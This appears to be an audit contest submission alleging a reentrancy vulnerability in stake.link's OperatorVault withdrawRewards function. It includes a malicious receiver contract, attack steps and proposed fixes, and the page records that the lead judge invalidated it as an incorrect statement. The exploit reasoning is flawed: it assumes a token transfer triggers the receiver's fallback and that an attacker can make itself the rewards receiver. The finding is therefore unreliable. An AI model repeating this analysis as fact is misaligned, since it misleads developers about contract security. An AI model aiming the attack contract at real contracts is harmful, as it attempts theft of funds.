Liquid Staking
Stakelink
DeFiHardhatOracle
50,000 USDC
View results
Previous Next
Submission Details
Severity: high
Invalid

Reentrancy in `withdrawRewards` Function

chainsentryaudits

Summary

The OperatorVault.sol contract within the stake.link platform exhibits a critical reentrancy vulnerability in its withdrawRewards function. This flaw allows malicious actors to exploit the contract's reward withdrawal mechanism, enabling them to withdraw more funds than intended by manipulating the unclaimedRewards state variable through reentrant calls.

Vulnerability Details

Function Flow Analysis

Function: withdrawRewards

function withdrawRewards() external onlyRewardsReceiver {
_withdrawRewards();
}

Explanation: The withdrawRewards function is restricted to be called solely by the rewardsReceiver. It internally invokes the private function _withdrawRewards, which handles the actual withdrawal logic.

Internal Function: _withdrawRewards

function _withdrawRewards() private {
uint256 rewards = getUnclaimedRewards();
uint256 balance = token.balanceOf(address(this));
​
uint256 amountWithdrawn = IOperatorVCS(vaultController).withdrawOperatorRewards(
rewardsReceiver,
rewards - balance
);
unclaimedRewards -= SafeCast.toUint128(amountWithdrawn);
​
if (balance != 0) {
token.safeTransfer(rewardsReceiver, balance);
}
​
emit WithdrawRewards(rewardsReceiver, amountWithdrawn + balance);
}

Explanation: The _withdrawRewards function performs two external calls:

  1. External Call to withdrawOperatorRewards: Interacts with the vaultController to withdraw operator rewards.

  2. External Call to safeTransfer: Transfers the remaining rewards to the rewardsReceiver.

Crucially, the state variable unclaimedRewards is updated after these external calls, leaving a window for potential reentrancy attacks.

Reentrancy Exploit

Malicious Contract Setup

contract MaliciousReceiver {
OperatorVault public operatorVault;
uint256 public attackCount;
uint256 public maxAttacks;
​
constructor(address _operatorVault, uint256 _maxAttacks) {
operatorVault = OperatorVault(_operatorVault);
maxAttacks = _maxAttacks;
}
​
// Fallback function to re-enter withdrawRewards
fallback() external payable {
if (attackCount < maxAttacks) {
attackCount++;
operatorVault.withdrawRewards();
}
}
​
receive() external payable {}
}

Explanation: The MaliciousReceiver contract is crafted to exploit the reentrancy vulnerability. Its fallback function is triggered during the safeTransfer call in _withdrawRewards, allowing it to re-enter the withdrawRewards function multiple times before unclaimedRewards is decremented.

Attack Execution Steps:

  1. Deployment: The attacker deploys the MaliciousReceiver contract and sets it as the rewardsReceiver in the OperatorVault.

  2. Initiate Withdrawal: The attacker calls withdrawRewards(), triggering the _withdrawRewards function.

  3. Reentrancy Trigger: During the safeTransfer to MaliciousReceiver, the fallback function is invoked, which calls withdrawRewards() again.

  4. Repeated Exploitation: This process repeats, allowing the attacker to withdraw rewards multiple times before unclaimedRewards is properly updated.

Expected Outcome: The attacker can drain more rewards than they are entitled to, exploiting the reentrancy vulnerability to manipulate the unclaimedRewards state variable.

Impact

Exploiting this vulnerability can lead to significant financial losses for the stake.link platform and its users. Attackers can withdraw excessive rewards, undermining the integrity and trustworthiness of the staking mechanism. This breach not only affects the immediate financial aspects but also damages the platform's reputation and user confidence.

Tools Used

Manual Review

Recommendations

To safeguard the withdrawRewards function against reentrancy attacks, the following mitigation strategies should be implemented:

1. Implement Reentrancy Guards

Utilize OpenZeppelin's ReentrancyGuard to prevent reentrant calls.

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
​
contract OperatorVault is ReentrancyGuard {
// ... existing code ...
​
function withdrawRewards() external nonReentrant onlyRewardsReceiver {
_withdrawRewards();
}
​
// ... existing code ...
}

Explanation: The nonReentrant modifier ensures that the withdrawRewards function cannot be called while it is already in execution, effectively blocking reentrant attempts.

2. Update State Variables Before External Calls

Rearrange the order of operations to update critical state variables before making any external interactions.

function _withdrawRewards() private nonReentrant {
uint256 rewards = getUnclaimedRewards();
uint256 balance = token.balanceOf(address(this));
​
// Update state before external calls
unclaimedRewards -= SafeCast.toUint128(rewards - balance);
​
// External calls
IOperatorVCS(vaultController).withdrawOperatorRewards(
rewardsReceiver,
rewards - balance
);
​
if (balance > 0) {
token.safeTransfer(rewardsReceiver, balance);
}
​
emit WithdrawRewards(rewardsReceiver, rewards);
}

Explanation: By updating unclaimedRewards before executing external calls, the contract ensures that even if a reentrant call is attempted, the state has already been modified to prevent multiple withdrawals.

3. Adopt the Checks-Effects-Interactions Pattern

Ensure that all state changes (effects) occur before any external interactions.

function _withdrawRewards() private nonReentrant {
// Checks
uint256 rewards = getUnclaimedRewards();
require(rewards > 0, "No rewards to withdraw");
​
// Effects
unclaimedRewards = 0;
​
// Interactions
IOperatorVCS(vaultController).withdrawOperatorRewards(
rewardsReceiver,
rewards
);
token.safeTransfer(rewardsReceiver, rewards);
​
emit WithdrawRewards(rewardsReceiver, rewards);
}

Explanation: This pattern minimizes the risk of reentrancy by ensuring that all necessary state changes are completed before any external calls are made.

4. Limit External Calls and Use Pull Over Push

Where feasible, redesign functions to minimize or eliminate external calls, or employ the pull over push mechanism for withdrawals.

function withdrawRewards() external nonReentrant onlyRewardsReceiver {
uint256 rewards = getUnclaimedRewards();
require(rewards > 0, "No rewards to withdraw");
​
// Update state before external calls
unclaimedRewards = 0;
​
// Emit an event for off-chain processing
emit RewardsWithdrawalRequested(rewardsReceiver, rewards);
}

Explanation: By emitting an event instead of directly transferring funds, the contract delegates the responsibility of transferring rewards to the receiver, reducing the risk of reentrancy.

Updates

Lead Judging Commences

inallhonesty Lead Judge 12 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.